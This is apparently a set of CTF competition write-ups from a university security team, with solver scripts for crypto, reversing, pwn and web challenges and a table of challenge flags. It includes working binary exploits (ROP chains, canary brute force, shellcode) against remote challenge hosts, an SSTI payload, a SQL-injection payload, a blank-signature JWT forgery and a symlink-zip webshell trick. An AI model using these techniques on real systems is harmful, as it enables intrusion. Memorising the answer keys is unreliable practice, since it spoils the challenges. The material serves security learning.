+ z = ((((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)) & 0xFFFFFFFFF
+
+def summary():
+ global x, y, z
+ return ((((z >> 32) & 1) & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))) & 1
+
+
+x0, y0, z0 = z3.BitVecs('x y z', 33)
+x, y, z = x0, y0, z0
+bits = [0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1]
+
+s = z3.Solver()
+for i in range(320):
+ rotate()
+ s.add(summary() == bits[i])
+
+s.check()
+model = s.model()
+print(model)
+
+array = [ model[x0].as_long(), model[y0].as_long(), model[z0].as_long() ]
+key = [ 0 for _ in range(12) ]
+ciphertext = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
+
+for i in range(3):
+ for j in range(4):
+ key[i * 4 + j] = (array[i] >> (j * 8)) & 0xFF
+
+for i in range(len(ciphertext)):
+ ciphertext[i] = ciphertext[i] ^ key[i % 12]
+
+print(bytes(ciphertext))
+
+没给出fastjson的版本,结合题目描述 misc&crypto 且是公共环境,考虑并不是最新的反序列化,那就只剩java自己的库。
+CVE-2022-21449
+java验证:
+var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
+var blankSignature = new byte[64]; // 默认是0
+var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
+sig.initVerify(keys.getPublic());
+sig.update("admin:False".getBytes());
+System.out.println(sig.verify(blankSignature));
+
+签名全是0可以永远通过校验,jwt exp:
+eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiZnJhbmsiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxODU5MjM1NjAwNzYwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
HED是南方科技大学COMPASS实验室的CTF战队
+
虽然可以一步一步调库进行计算,但是由于服务器对 /api/search
的管理不是十分到位,于是我们就可以通过访问 /api/allkey
, /api/quantum
接口,让服务器生成对应的密钥,然后再访问 /api/search
就可以获得服务器密钥明文,然后 /api/check
一下即可。
const BASE_URL = 'http://IP:PORT'
+
+async function post(url, data) {
+ return await fetch(BASE_URL + url, {
+ method: 'POST',
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(data),
+ })
+}
+
+async function main() {
+ r = await post('/api/login', {
+ school: '...',
+ name: '...',
+ phone: '...',
+ });
+ id = (await r.json()).data.id;
+
+ const publicKey = '031e92b2d450aa111da2d4cc01a532eb277654d442896bd5e4b66cdfb83ff94dfd';
+
+ r = await post('/api/allkey', { id, publicKey });
+ r = await post('/api/quantum', { id });
+ r = await post('/api/search', { id }); // 查询服务器量子密钥
+ data = await r.json();
+
+ r = await post('/api/check', {
+ id,
+ quantumString: data.data.quantumStringServer,
+ });
+
+ r = await post('/api/search', { id });
+ data = await r.json();
+ console.log(data); // flag HERE
+}
+
+main()
+
+base64换表给表 +
+翻阅 PyCryptodome 源码,发现唯一可以利用的点是:
+ if Integer(n).gcd(d) != 1:
+ raise ValueError("RSA private exponent is not coprime to modulus")
+
+需要构造 d 是 p 的倍数。
+$$ +\begin{align} +ed &\equiv 1 \pmod{\varphi(n)} \ +ed &= k(p-1)(q-1)+1 \ +emp &= k(p-1)(q-1)+1 \ +em &\equiv 1 \pmod{p-1} +\end{align} +$$
+随机生成 p,求出对应的逆元 m。
+$$
+\begin{align}
+emp &= k(p-1)(q-1)+1 \
+k(q-1) &= (emp-1)/(p-1) = g
+\end{align}
+$$
+计算得到 g,它的长度大于 512bits。对 g 进行因式分解,找到 g 的小因子,枚举所有可能的因子组合得到可能的 q,检查 q 的长度为 512bits 而且是质数。最后进行 RSA.construct()
来验证解。
from Crypto.Util.number import *
+from Crypto.PublicKey import RSA
+from functools import reduce
+import itertools
+import operator
+
+e = 65537
+
+def valid(p, q):
+ try:
+ assert p > 0
+ assert q > 0
+ assert p != q
+ assert p.bit_length() == 512
+ assert q.bit_length() == 512
+ assert isPrime(p)
+ assert isPrime(q)
+ n = p * q
+ assert p % e != 1
+ assert q % e != 1
+ d = inverse(e, (p-1)*(q-1))
+ except:
+ print("Invalid params")
+ try:
+ key = RSA.construct([n,e,d,p,q])
+ print("This is not a bad RSA keypair.")
+ except KeyboardInterrupt:
+ print("Hacker detected.")
+ except ValueError:
+ print("How could this happen?")
+ exit()
+
+
+def get_subsets_product(nums):
+ subsets = itertools.chain.from_iterable(itertools.combinations(nums, r) for r in range(len(nums)+1))
+ products = [reduce(operator.mul, subset, 1) for subset in subsets]
+ return products
+
+
+while True:
+ p = getPrime(512)
+ m = inverse(e, p-1)
+ g = (e*m*p-1)//(p-1)
+ print(g)
+
+ f = []
+ for i in range(2, 100000):
+ while g % i == 0:
+ f.append(i)
+ g //= i
+ print(f)
+ print(g.bit_length(), g)
+
+ if g.bit_length() <= 512:
+ products = set(get_subsets_product(f))
+ print(products)
+ for product in products:
+ q = g*product+1
+ if q.bit_length() == 512 and isPrime(q):
+ print("m =", m)
+ print("p =", p)
+ print("q =", q)
+ valid(p, q)
+
+"""
+m = 739662064870849344381206806184175992877839090213520670251993876722483241877948397023123405984485744758150988206982230375604910547042328474782788374141431
+p = 9076059304519912653568835509622232174730376419270455751040052929930983752659633794365182298821427121178607248477999331983901708017508534216783299321495407
+q = 7450850406615563092946687743143612364776351130544651731679207300762585954957747324885404035967605633909459162945126718740550111054643879688263080491255299
+"""
+
+
+阅读材料的大意是:
+EPC1 4 2 1 2
+APD1 0 0 0 0
+APD2 0 0 0 1
+APD3 0 0 0 0
+APD4 0 0 0 0
+
+APD1 到 4 中有且只有一个为 1,并且和 EPC1 相等,则这位可以采用为密钥。 +或者 APD1 到 4 中有且只有一个为 1,和 EPC1 不相等,但是在同一个基(如APD1=1,EPC1=2),那么这位需要纠错,纠错之后可以采用。 +将整个序列筛选之后得到可用的序列,然后根据线性同余生成真正的密钥。
+另外材料中提到了用熵计算安全密钥量,然后把它作为模数。这是一个误导,我在这里卡了很久。因为采用的随机数序列的长度显著多于计算出的安全密钥量,不知道如何选出相应的安全密钥。实际上题目的做法是直接把随机数序列的长度当作安全密钥量,不需要计算熵。
+之后就是经典的生成流密码,逐个异或。
+import csv
+
+with open('info.csv', 'r') as file:
+ reader = csv.reader(file, delimiter=',')
+ data = list(reader)
+
+key = []
+error = 0
+
+for i in range(1, len(data[0])):
+ pos = []
+ for j in range(1, 5):
+ if data[j][i] == '1':
+ pos.append(j)
+ if len(pos) == 1:
+ ex = int(data[0][i])
+ if pos[0] == ex:
+ key.append((pos[0]+1)%2)
+ elif (pos[0]-1)//2==(ex-1)//2:
+ #key.append(f'x{(ex+1)%2}')
+ key.append((ex+1)%2)
+ error += 1
+
+M = len(key)
+
+l = len(c)//2*8
+A = 1709
+B = 2003
+x = 17
+gen_key = []
+for i in range(l):
+ s = ''
+ for j in range(8):
+ if type(key[x])==int:
+ s += str(key[x])
+ else:
+ s += key[x][1:]
+ x = (A*x+B)%M
+ gen_key.append(int(s, 2))
+
+hex_values = [int(c[i:i+2], 16) for i in range(0, len(c), 2)]
+for i in range(len(hex_values)):
+ print(chr(hex_values[i]^gen_key[i]), end='')
+
+静态编译栈溢出 没system没exec 标准ORW
+from pwn import *
+
+p = remote("123.56.99.60", 26637)
+e = ELF('shaokao')
+
+p.sendlineafter(b'>', b'1\n1\n-9999')
+p.sendlineafter(b'>', b'4')
+p.sendlineafter(b'>', b'5')
+context.arch = 'amd64'
+r = ROP(e)
+flag_str = b'/flag\x00'
+r.call(e.symbols['read'], [0, e.bss() + 100, len(flag_str)])
+r.call(e.symbols['open'], [e.bss() + 100, 0, 0])
+r.call(e.symbols['read'], [3, e.bss() + 100, 100])
+r.call(e.symbols['write'], [1, e.bss() + 100, 0x101])
+r.call(e.symbols['write'], [1, e.bss() + 100, len(flag_str)*9])
+p.sendline(b'a' * (0x20 + 8) + r.chain())
+p.sendline(flag_str)
+#gdb.attach(p)
+p.interactive()
+
++
抢一血没写循环直接展开了
+fork爆破canry 板子
+然后有ASLR 有win 短跳爆破4bit即可
import struct
+
+from pwn import *
+
+cn = remote("39.106.48.123", 27305)
+
+cn.recvuntil(b'welcome\n')
+
+canary = b'\x00'
+for j in range(7):
+ for i in range(0x100):
+ cn.send(b'a' * 104 + canary + struct.pack('B', i))
+ a = cn.recvuntil(b'welcome\n')
+ if b'have fu' in a:
+ canary += struct.pack('B', i)
+ print(canary)
+ break
+
+x = 8
+cn.send(b'a' * 104 + canary + b'a' * x + b'\x31\x02')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x12')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x22')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x32')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x42')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x52')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x62')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x72')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x82')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x92')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xa2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xb2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xc2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xd2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xe2')
+cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xf2')
+cn.recvuntil(b'welcome')
+
+一年前做过的题,当时我写的的超级详细题解:
+https://github.com/GhostFrankWu/CS315-ComputerSecurity/blob/main/week5/wp.md
+第一天结束后发现GitHub统计访客50多
+
核心就是去混淆之后找到用作jmp的mov指令,还有就是要知道mov混淆似乎一定有逐字节比较的地方,断在这里爆破就行了
+from pwn import *
+
+# flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx3861}
+flag = list('flag{781dda4e-d910-*********************}')
+stri = "0123456789abcdef-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
+
+sp = b"LEGEND: "
+context.log_level = 'critical'
+
+
+
+for i in range(19, 43):
+ for j in range(len(stri)):
+ p = process(["gdb", "fuck"])
+ p.sendline(b"b *0x8052A92")
+ p.sendline(b"r")
+ tr = [x for x in flag]
+ tr[i] = stri[j]
+ p.sendline(''.join(tr).encode())
+ _ = p.recvuntil(sp)
+ print(f'No.{i + 1}, trying {stri[j]}, now flag is {"".join(flag)}')
+ for c in range(i-1):
+ p.sendline(b'c')
+ _ = p.recvuntil(sp)
+ p.sendline(b'c')
+ r = p.recvall(0.3)
+ if sp in r:
+ print("hit!!!!")
+ flag[i] = stri[j]
+ print(''.join(flag))
+ p.close()
+ break
+ else:
+ p.close()
+
+
+print(''.join(flag))
+
+炫酷的界面(雾 +
+撞车队友:
+网上随便看了点Snap!的资料,定位到flag判断逻辑,根据secret
简单做一波异或运算还原输入key
即flag
secret = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
+
+key = 'f'
+
+for i in secret[1:]:
+ next_char = chr(ord(key[-1]) ^ i)
+ key += next_char
+
+print(key)
+
+
+d = [(92, 1), (92, -1), (8, -1), (28, -1), (20, 1), (25, -1), (75, 1), (81, -1), (83, -1), (0, 1), (7, -1), (28, -1),
+ (85, 1), (76, -1), (88, -1), (4, 3), (9, -1), (7, 1), (0, -1), (29, -1), (73, -1), (1, 1), (0, -1), (3, 2),
+ (86, -1), (4, -1), (74, 1), (87, -1), (3, 2), (87, -1), (82, -1), (28, 1), (84, -1), (85, -1), (6, 1), (4, -1),
+ (85, -1), (13, 1), (87, -1), (10, 1), (102, 1), (30, -1)]
+
+l = []
+for i in d:
+ print(l)
+ if i[1] != -1:
+ l.insert(i[1] - 1, i[0])
+ else:
+ l.insert(len(l), i[0])
+
+c = 0
+for i in l:
+ c ^= i
+ print(chr(c), end="")
+
+代码长得和上周春秋杯的题完全一致
+题目没给Dockerfile,大概不是历史漏洞,03年之后的zip就不能目录穿越了
创建一个指向文件夹的软链 ln -s /var/www/html www && zip -y x.zip www
+然后压缩一个带一句话的www文件夹解压就可以了
dump和注入分开 query屏蔽的并不多,但提示要做到rce
+dump几乎都是用命令行工具做,果然在dump的地方可以命令拼接
+然后发现没权限读flag 弹shell
+
跑linpeas提权时候在环境变量里出了
+python任意代码 签到
+发现 query 中的 word count 不符合定义。之前请求了非常大的数字,后期全部请求 5。
+追踪 TCP 流发现,word count 刚好形成了 ascii 字符。将其提取并解码。
+MMYWMX3GNEYWOXZRGAYDA===
base32 解码得到 c1f_fi1g_1000
。
虽然服务器禁止了赋值操作,并且每行的长度也有限制
+对于第一个限制,可以用 REPL 中的 _ 来获取上一条语句的值
+对于第二个限制,可以分多行输入(此时每输入一行都需要重新 nc 连接)
+所以最终 payload 为
'/flag'
+open(_)
+[I for
+I in
+_]
+
+问卷
+ + + + + + + + +The challenge number is 17 in total (with 1 hidden PWN challenge from the last year). All the challenges are simple and easy, modified from the previous competition challenges I've solved.
+Category | +Quantity | +Link | +
---|---|---|
Crypto | +3 | +Writeups | +
Misc | +2 | +Writeups | +
PWN | +4 | +Writeups | +
Re | +3 | +Writeups | +
Web | +4 | +Writeups | +
All the challenges are from DiceCTF 2022 @Hope. Currently, environment from the original website is down. We would hold those amazing challenges for further studies.
+今日份打工人营业啦💝 毫无抵抗力 还是去打CTF了 啥也不是 哒哒哒 这家的CTF超赞的❓❓❓介个小蛋糕也真下头⁉️⁉️⁉️srds 路边捡到了一分钱 预警⚠️ 啦啦啦 星星月亮和我都要睡啦🌸
+
+谜语人的暗语: 575d55524a5c50586b46595d6e5a555b6e5f505f6b4c44555f6e575d446b55546b5f58556e43555b6e56506e5e5c506b43545a6a5c515f4c
+据说是密钥: 114514
+
+The description isn't related to the challenge. The key point is the last half of the description. A string of hex, and some strange digits.
+It's easy to think about the xor
encryption. Very simple, use the 114514
(in escaped string) as a key, decode the given cipher:
flag{hai_shi_kan_kan_yuan_chu_de_jia_ran_ba_jia_ren_men}
+
+c=32949
+n=64741
+e=42667
+
+Very simple RSA with small N. Factor N into 101 and 641.
+>>> from Crypto.Util.number import *
+>>> p = 101
+>>> q = 641
+>>> c = 32949
+>>> e = 42667
+>>> phi = (p-1)*(q-1)
+>>> d = inverse(e,phi)
+>>> pow(c,d,p*q)
+18429
+
+Use the password to open the compress file, find the flag.
+flag{gr34t_m1nds_th1nk_4l1ke}
+
+ECB mode AES encryption. The server gives out the hex ciphertext of flag once, then asks us to input a hex string, then prints the cipher text of the string.
+This is a CPA scenario. ECB mode can't defense from CPA. We use 0x00 string to reveal the key:
+> b0bcf580640b080efd0a25dd77b1e152b2e8b9d3285a531bff0b718c6fabe053e4b6a6832e505301ac4416ec449a8267
+< 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+> d6d094e71f686a369e3910ea429c8461c6c084f70f787a268e2900fa528c9471
+
+We now know the key, use this key to decrypt flag:
+flag{cb8c3575-e3d8-4729-a2af-7d22f2d18972}
+
+All the challenges are modified from ctf.show 七夕杯.
+Gives a graph, the content doesn't matter. Use any hex editor or simply type strings
command, and we can find the flag in the tail of the file.
The origin challenge is called 海盗的密码
. The ip region changed to Vatican in this challenge. Thus, we need to brute force all the IPs from Vatican.
185.17.220.0 185.17.223.255 1024
+185.152.68.0 185.152.71.255 1024
+193.43.102.0 193.43.103.255 512
+212.77.0.0 212.77.31.255 8192
+
+The password is 212.77.31.255
. Open the compressed file to get the flag,
All the challenges are from XCTF's recent competitions.
+Check the file properties first:
+$ file 291721f42a044f50a2aead748d539df0
+291721f42a044f50a2aead748d539df0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
+
+The main logic is simple, main prints hello, world
, then calls vulnerable_function
.
This function reads 0x200 bytes of data, and put them into 0x80 length buffer, which leads to a buffer overflow. Another useful function is callsystem
, which gives us a shell.
The steps to solve:
+callsystem
.from pwn import *
+r = process("./app")
+payload = 'A' * 0x88 + p64(0x00400596)
+r.sendlineafter("Hello, World\n", payload)
+r.interactive()
+
+A little simple ROP challenge.
+In this challenge, we don't have callsystem
function any more. Instead, we need to find a /bin/sh
string in the program.
Luckily, this challenge has PIE disabled
. We can write libc address directly.
system
function address./bin/sh
string as parameter, and 0
as the second parameter.from pwn import *
+system=0x08048320
+shell=0x0804A024
+r=process("./app")
+payload='A'*(0x92)+p32(system)+p32(0)+p32(shell)
+r.sendlineafter("Input:\n", payload)
+r.interactive()
+
+This challenge has Canary, NX, and PIE. We can't simple use ROP method because of the canary. However, the seed is on the stack as well. We can't reach the return address, but we can reach the seed integer.
+Use the same seed, we can "predict" all the random numbers.
+from pwn import *
+from ctypes import *
+
+libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
+libc.srand(0)
+
+r=process("./app")
+payload='A'*(0x20)+p32(0)
+r.sendlineafter("Your name:", payload)
+
+for i in range(10):
+ num=str(libc.rand()%6+1)
+ r.sendlineafter("Please input your guess number:", num)
+r.interactive()
+
+The first level: input "east" and win.
+The second level: use the format string in printf(&format, &format)
, we can reveal the address.
The last challenge gives us the control to input some codes, gives a shellcode.
+from pwn import *
+
+shell=asm(shellcraft.amd64.linux.sh(),arch="amd64")
+r=process("./app")
+payload="%9x,%9x,%9x,%9x,%9x,%35x%n"
+r.recvuntil("secret[0] is ")
+addr=str(int(r.recvuntil("\n")[:-1],16))
+r.sendlineafter("What should your character's name be:","ailx10")
+r.sendlineafter("So, where you will go?east or up?:","east")
+r.sendlineafter("go into there(1), or leave(0)?:","1")
+r.sendlineafter("'Give me an address'",addr)
+r.sendlineafter("And, you wish is:",payload)
+r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shell)
+
+r.interactive()
+
+All the challenges are modified from various provinces' CTF competitions: 西普杯京津冀信息安全挑战赛, 第五届山东省网络安全竞赛, 网鼎杯朱雀组.
+Check the ELF, IDA would gives several integers in main
function. Be aware of the data types are meaningless in assembly, those integers
are in fact strings
.
Mark the data as string, and we get the flag.
+flag{4092849uio2jfklsj4k}
+
+The program is written in MFC.
+Use dynamic analysis, on the address 0x401743
we can find a comparison. The compared string is the key to show the flag.
008225C8 s1 = "123456"
+00822668 s2 = "xxxxxXXXXXxxxx"
+
+In the main logic, the flag's bits are calculated from the path in a binary tree. We need to find the flag bits from the path in binary tree to the target string zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx
(modified in this challenge).
How to find the structure of the tree? We can use dynamic analysis, extract memory data from the execution.
+[[‘y’, ‘0000’], [‘b’, ‘00010’], [‘q’, ‘00011’], [‘g’, ‘0010’], [‘f’, ‘0011’], [‘j’, ‘010’], [‘w’, ‘01100’], [‘p’, ‘01101’], [‘x’, ‘011100’], [‘d’, ‘0111010’], [‘i’, ‘0111011’], [‘k’, ‘01111’], [‘s’, ‘100’], [‘z’, ‘1010’], [‘n’, ‘1011’], [‘c’, ‘11000’], [‘t’, ‘110010’], [‘e’, ‘110011’], [‘h’, ‘1101’], [‘o’, ‘11100’], [‘l’, ‘1110100’], [‘u’, ‘11101010’], [‘r’, ‘111010110’], [‘a’, ‘111010111’], [‘m’, ‘111011’], [‘v’, ‘1111’]]
+
+Find the path is simple, I won't describe here.
+Challenges are from DiceCTF 2022 @Hope, nice competition!
+Change the value of admin
to true
in cookie.
Simply use SSTI reversed version.
+}})')(daer.)"txt.galf/ppa/ tac"(nepop.)"so"(__tropmi__'(]'lave'[]'__snitliub__'[__slabolg__.__tini__.]331[)(__sessalcbus__.]0[__sesab__.__ssalc__.''{{
+
+In the palindrome submit, we can start SQL injection attack.
+The input should be a palindrome string.
+'||(select flag from flags));--;))sgalfmorfgalftceles(||'
+
+A simple GoLang unmarshal challenge. The GoLang's unmarshal doesn't care about the case of json, we can use upper case to bypass the filter.
+{
+ "whaT_point":"that_point"
+}
+
+Hope you enjoy this competition, and take this practice as a learning progress.
+ + + + + + + + +分类 | +名称 | +难度 | +描述 | +文件 | +flag | +
---|---|---|---|---|---|
MISC | +SanityCheck | +签到 | +欢迎来到COMPASS CTF! 光碟、喵咪和ls可以帮你拿到flag。 | +sign.html | +flag{we1c0m3_tO_C0MP4SS_CTF_2021!GLHF} | +
MISC | +ezPWD | +简单 | +你的一位来自陕西西安临潼区的90后学姐发给你一份神秘压缩包,你能打开吗 | +flag.zip | +flag{Brut3_f0rc3_1s_just_345y} | +
Web | +Hacked | +签到 | +大黑客黑掉了COMPASS的网站并留下了flag,但是需要正确输入口令才能看到。 | +Hacked.html | +flag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js} | +
Web | +trickyPHP | +一般 | +攻克难关,入门web,赢取flag | +trickyPHP.php | +flag{y0u_b34t_pHp_and_WOn_uR_reward!} | +
web | +Life Restart | +一般 | +这垃圾人生一秒也不想呆了,remake!(500岁时渡劫成功赢取flag) | +http://81.68.223.245:8080/view/ | +flag{My_fate_1s_up_to_M3_in_Cyber_W0rld} | +
Web | +BBS | +中等 | +COMPASS开通了bbs demo,现在开放注册~管理员在flag.php中写入了宝贵的flag,以此证明BBS的安全性 | +COMPASS_BBS | +flag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!} | +
Crypto | +at_bash | +签到 | +COMPASS截获了一段含有flag的文本,但是文本中看起来并没有flag字样 | +at_bash.txt | +flag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!} | +
Crypto | +variable | +简单 | +据说初中生更加擅长crypto的破解,为了夺回本科生的尊严,你向初中小A发起了挑战 | +enc.py enc.txt | +flag{Now_u_H4v3_the_abil1Ty_to_Crypt0!} | +
Crypto | +CBC | +较难 | +新概念的Python沙盒,让Python再次伟大! | +CBC.py | +flag{w0W_s3Ems_u_really_g00D_4t_crypt0!} | +
Re | +bogo | +签到 | +猴子在无限的时间内可以写出莎士比亚,这也是一道能自己写出flag的逆向题! | +bogo.elf | +flag{we1c0m3_tO_rEv3re_w0r1d!} | +
Re | +Extremely slow | +一般 | +COMPASS实验室截获了一个可以快速分解混沌为flag的强大原型机,但是它十分不稳定,只能运行很短的时间... | +Extremely_slow.exe | +flag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9} | +
Re | +Random | +较难 | +上帝不会掷骰子,从来没有真正的随机 | +Random.exe | +flag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284} | +
Re | +java_re | +压轴 | +Jar是个糟糕的Zip文件,但它能有什么坏心眼呢?(hint 代码很乱?其实逻辑并不复杂。IDEA自带的逆向很强大) | +EzJar.jar | +flag{Ctf3r_me_1s_A_very_g0Od_9Uy} | +
PWN | +dove1 | +签到 | +每次校队训练总有鸽子出现,COMPASS发出悬赏:带回鸽子一次就可以获得flag!你决定去劝说鸽子走上正轨道(hint1 劝说只有第10种办法是有效的)(hint2 反编译伪代码不正常可以看看反汇编界面,注意变量的类型)(hint3 rand的种子精度不够不难预测) | +dove | +flag{5ome_0ne_1s_dove_I_dont_say_whO_1s} | +
PWN | +dove2 | +简单 | +多次成功劝说鸽子后它仍然一意孤行,你决定来点硬的 | +dove | +flag{U_rea11y_g0Od_At_bringing_d0ve_back} | +
PWN | +wish | +较难 | +一口许愿井,你可以对它倾诉任何事情,但是它似乎很少对愿望作出回应 | +wish | +flag{PWN_1s_s0_tricky_go0Od_job} | +
PWN | +Double Frank | +防AK | +欢迎来到Frank餐馆,请问你今天要来点什么样的Frank呢? | +Frank | +flag{YOU_beat_frank_n0w_frankss_1s_a11_yOurs!} | +
新手友好,题目有趣 +比赛内容包含网络攻击,加密解密,程序逆向破解,二进制漏洞利用等。
+签到,首先
+++cd home
+
然后
+++cat flag.txt
+
陕西西安临潼区 分别对应61 01 15
+年份1990-1999 月1-12 日1-31 编号0-999 校验码固定
+根据条件生成字典复杂度很低,爆破即可得到压缩包密码
+610115199309102764
+以下是各种密码恢复软件的截图:
+- john kali自带 免费 高效 强大 仅用6秒
+
+- archpr 适用于windows,支持各种密码恢复方式(明文,暴力,字典,掩码...)用时9分钟 需要注册
+
+- passware for forensic 极其强大的内存密码分析攻击,也支持字典,用时4分钟,需要注册
+
++flag{Brut3_f0rc3_1s_just_345y}
+
题目问 *js中'b'+'a'+ +'a'+'a'* 的值是?
+那F12放控制台运行一下就好了,是 'baNaNa'** 一想很奇怪,但是在JS里,这也正常(x
+然后就得到了满屏飞的flag 题目名字也是来源于此
什么?肉眼看flag太难了?解决方法包括但不限于以下:
+- 买个好用的眼镜或者找准时机OCR一下flag
+- 把被加密的JS放到在线JS压缩网站解密得到flag变量名 查看t变量的值
+- 通过window变量查看所有变量的值 其中就有flag
相信大家可以轻松完成签到
+++flag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js}
+
给了源码,来一点点过关。第一关是需要say中包含JOIN_COMPASS_CTF#,但是首先会正则卡掉COMPASS。
+$say = preg_replace('/^(.*)COMPASS(.*)$/', '${1}<!--nope-->${2}', $_GET['say']);
+ if (preg_match('/JOIN_COMPASS_CTF#/', $say)) {
+ echo "Welcome to COMPASS CTF, continue hacking!<br>";
+ } else {
+ echo 'Bad hacker!';
+ }
+
+换行绕过正则,用url编码避免#被解析为html标签:
+++?say=%0aJOIN_COMPASS_CTF%23
+
第二关需要post两个内容不同但是sha1一样的内容
+if ($_POST['user'] == $_POST['pwd']) {
+ echo 'You cant do that!';
+} else if (sha1($_POST['user']) === sha1($_POST['pwd'])) {
+ echo 'Great, you almost get there!<br>';
+} else {
+ die("Not same, sorry.");
+}
+
+很容易想到碰撞,但是在php中有更简单方法:传入非字符串内容,sha1会返回失败,造成false===false,比如传入内容不同的两个数组。
+++user[]=1&pwd[]=2
+
第三关解码json格式的flag,然后和flag弱比较
+$leve1_3 = json_decode($_POST['flag']);
+if ($leve1_3->result == $flag) {
+ echo "Congratulations, you won your flag:    " . $flag;
+} else {
+ echo "So close!!!";
+}
+
+弱比较时,我们可控的变量在左边,可以直接令其为0使得条件恒成立。
+++flag={"result":0}
+
组合起来就是
+++GET("http://xx.xx/?say=%0aJOIN_COMPASS_CTF%23")
+
+user[]=1&pwd[]=2&flag={"result":0}
看一下文件结构
+
+从文件名不难推测
+- 开局天赋抽卡的相关逻辑位于talent.js
+ + 爆改欧皇概率 显然3是最好的 直接return3就能欧皇附体:
+ javascript
+ const randomGrade = () => {
+ let randomNumber = Math.floor(Math.random() * 1000); //删掉
+ if((randomNumber -= rate[3]) < 0) return 3; //删掉
+ if((randomNumber -= rate[2]) < 0) return 2; //删掉
+ if((randomNumber -= rate[1]) < 0) return 1; //删掉
+ return 0; //return 3
+ }
+- 属性分配的相关逻辑位于property.js
+ + 爆改开局属性 加一堆初始值:
+ ```javascript
+ restart(data) {
+ this.#data = {
+ [this.TYPES.AGE]: -1,
[this.TYPES.CHR]: 0, //加!
+ [this.TYPES.INT]: 0, //加!
+ [this.TYPES.STR]: 0, //加!
+ [this.TYPES.MNY]: 0, //加!
+ [this.TYPES.SPR]: 0, //加!
+```
+
+javascript
